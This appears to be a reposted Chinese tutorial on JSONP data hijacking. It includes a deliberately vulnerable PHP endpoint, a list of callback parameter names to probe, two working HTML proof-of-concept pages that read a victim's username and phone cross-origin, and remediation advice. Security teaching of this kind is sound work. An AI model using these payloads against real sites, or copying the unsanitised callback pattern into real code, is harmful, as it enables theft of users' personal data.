JSONP数据劫持漏洞

这篇具有很好参考价值的文章主要介绍了JSONP数据劫持漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

​介绍

JSONP(JSON with Padding)是 json 的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据;它利用的是script标签的 src 属性不受同源策略影响的特性,使网页可以得到从其他来源动态产生的 json 数据,因此可以用来实现跨域读取数据。

更通俗的说法:JSONP 就是利用 <script> 标签的跨域能力实现跨域数据的访问,请求动态生成的 JavaScript 脚本同时带一个 callback 函数名作为参数。服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用 callback 函数。

漏洞原理


和 CSRF 类似,都需要用户交互,而 CSRF 主要是以用户的账户进行增删改的操作,jsonp 则主要用来劫持数据。

当网站通过 JSONP 方式传递用户敏感信息时,攻击者可以伪造 JSONP 调用页面,诱导被攻击者访问来达到窃取用户信息的目的;jsonp 数据劫持就是攻击者获取了本应该传给网站其他接口的数据。

漏洞代码


假设这是目标网站上的代码,然后我们利用漏洞就可以劫持到里面的数据,如username、phone

<?php
//test.php
header('Content-type: application/json');
$callback = $_GET['callback'];
print $callback.'({"username" : "d4m1ts","phone" : "13888888888"});';
?>

快速启动 php 环境

php -S 127.0.0.1:9999
实现效果

JSONP数据劫持漏洞

利用场景


如上图,所有包含有callback等回调函数的,且请求方式为 GET,没有验证 referer 等,都可以尝试下该漏洞

如果返回内容是 json 格式的,但是没有回调函数,我们可以尝试手动添加回调函数去试试运气,一些常见的如下:

_callback=mstkey
_cb=mstkey
callback=mstkey
cb=mstkey
jsonp=mstkey
jsonpcallback=mstkey
jsonpcb=mstkey
jsonp_cb=mstkey
json=mstkey
jsoncallback=mstkey
jcb=mstkey
call=mstkey
callBack=mstkey
jsonpCallback=mstkey
jsonpCb=mstkey
jsonp_Cb=mstkey
jsonCallback=mstkey
ca=mstkey

漏洞利用


当我们发现信息泄露的 jsonp 接口以后,我们需要构造一个恶意 html 页面,然后引诱受害者去访问这个网站,一旦访问了这个网站,脚本就会自动运行,就会向这个接口请求用户的敏感数据,并传送到攻击者的服务器上。

POC

基于实现回调函数

<script>
function xxx(data)
{
  alert(data.username);
}
</script>
<script src="http://127.0.0.1:9999/test.php?callback=xxx"></script>

保存为 html,诱导受害者访问,可见成功获取到了username信息

image-20220322171224615

简而言之:存在信息泄漏的 JSONP 接口http://127.0.0.1:9999/test.php?callback=xxx,攻击者构造 POC 后诱导用户访问 POC,然后就会调用这个接口获取到敏感数据,获取到的敏感数据被攻击者截获了。

另一个 POC

基于 jquery

<script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>
<script type="text/javascript">
    $.getJSON("http://127.0.0.1:9999/test.php?callback=?", function(data){
          alert(data.phone);
    });
</script>

image-20220322173916125

修复建议

扩展

JSONP数据劫持漏洞

修复建议

  1. 接受请求时检查referer来源;

  2. 在请求中添加token并在后端进行验证;

  3. 严格过滤 callback 函数名及 JSON 里数据的输出。

扩展

  • 如果目标的 header 头没有设置Content-Typejson,而是html,那么也可以造成 XSS 漏洞

  • 一个获取 QQ 号的 JSONP 劫持实例[1]

JSONP数据劫持漏洞

image-20220322185037473

  • 推荐阅读:JSONP 挖掘与高级利用[2]

参考资料

[1]一个获取 QQ 号的 JSONP 劫持实例: 
http://www.piaoyi.org/network/get-qq-haoma-js.html

[2]JSONP 挖掘与高级利用: 
http://drops.xmd5.com/static/drops/papers-6630.html文章来源地址https://www.toymoban.com/news/detail-422262.html

到了这里,关于JSONP数据劫持漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • shiro 721 反序列化漏洞复现与原理以及Padding Oracle Attack攻击加解密原理

    知道aes加密的key且目标服务器含有可利用的攻击链。 原理 在Shiro = 1.2.4中,反序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中. 服务端收到登录请求后,

    2024年02月05日
    浏览(36)
  • GitHub 曝出漏洞,或导致 4000 多个存储库遭受劫持攻击

    The Hacker News 网站披露,安全研究员发现 GitHub 中存在一个新安全漏洞,该漏洞可能导致数千个存储库面临劫持攻击的风险。据悉,在 2023 年 3 月 1 日漏洞披露后,微软旗下的代码托管平台已于 2023 年 9 月 1 日解决了安全漏洞问题。 Checkmarx 安全研究员 Elad Rapoport 在与 The Hacke

    2024年02月08日
    浏览(32)
  • 35、WEB攻防——通用漏洞&XSS跨站&反射&存储&DOM&盲打&劫持

    XSS产生于前端的漏洞,常产生于: XSS分类: 反射型(非持久型) 存储型(持久型),攻击代码被写入数据库中。常见于:写日志、留言、评论的地方 DOM型 DOM型XSS与反射型XSS、存储型XSS的最大区别在于:DOM型XSS前端的数据是传输给前端JS代码进行处理,而反射型XSS、存储型

    2024年01月25日
    浏览(59)
  • 如何使用COM-Hunter检测持久化COM劫持漏洞

    COM- Hunter是一款针对持久化COM劫持漏洞的安全检测工具,该工具基于C#语言开发,可以帮助广大研究人员通过持久化COM劫持技术来检测目标应用程序的安全性。 微软在Windows 3.11中引入了(Component Object Model, COM),作为一种实现对象的方法,这些对象可以被不同的框架(ActiveX, COM+,

    2024年02月07日
    浏览(45)
  • 如何防止路由器被劫持 预防路由器劫持的八大方法介绍

    近段时间有关路由器安全门的新闻不断,不断有媒体曝光路由器容易遭受攻击与蹭网。最近又有网友曝WIFI存安全漏洞,一旦被蹭网,路由器被劫持,那么用户网上银行信息也会被泄露,甚至会被修改。为了避免用户安全风险,笔者教大家如何防止路由器被劫持,其中只要做好

    2024年02月06日
    浏览(35)
  • Python获取jsonp数据

    使用python爬取数据时,有时候会遇到jsonp的数据格式,由于不是json的,所以不能直接使用json.loads()方法来解析,需要先将其转换为json格式,再进行解析。在前面讲了jsonp的原理 ,这里就略过一部分。 jsonp的格式 jsonp的内容一般是这样的: 也有有可能是这样的: 这里的callback就是

    2024年02月03日
    浏览(21)
  • 【pwn】[SWPUCTF 2022 新生赛]InfoPrinter--格式化字符串漏洞,got表劫持,data段修改

    下载附件,checksec检查程序保护情况: No RELRO ,说明got表可修改 接下来看主程序: 函数逻辑还是比较简单,14行出现格式化字符串漏洞,配合pwntools的fmtstr_payload模块可直接攻击,然后就是题目提供了libc,然后第10行又泄露puts函数的地址,可直接计算出基址,然后就是/bin/sh这

    2024年02月08日
    浏览(41)
  • 一种解决Nessus扫描中有关端口漏洞的简单方法

    用Nessus professional扫描某个Linux终端,发现如下高危漏洞: PCI DSS Compliance : Remote Access Software Has Been Detected Description Due to increased risk to the cardholder data environment when remote access software is present, 1) justify the business need for this software to the ASV and confirm it is implemented securely, or 2) confirm i

    2024年02月16日
    浏览(36)
  • 响应式和数据劫持

    响应式是无需重新编译,访问元素,直接改data数据,页面自动更新。响应式是根据Object的get和set,数据代理与数据劫持做来的。当模板中有语法,vue调用get/set,set之后还是改data数据,调get,vm用别的方法对get的值进行渲染。会对data内所有的值深度的,都增加get与set方法,进

    2024年01月19日
    浏览(43)
  • vue3数据劫持proxy

      vue2利用Object.defineProperty来劫持data数据的getter和setter操作,遇到数组和对象必须循环遍历所有的域值才能劫持每一个属性 。 缺点:1、 无法检测到对象属性的新增或删除 ,需要使用 set 等其他方法。   vue2响应式不能监听数组,局限于数组的push/pop/shift/unshift/splice/sort

    2024年01月21日
    浏览(30)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包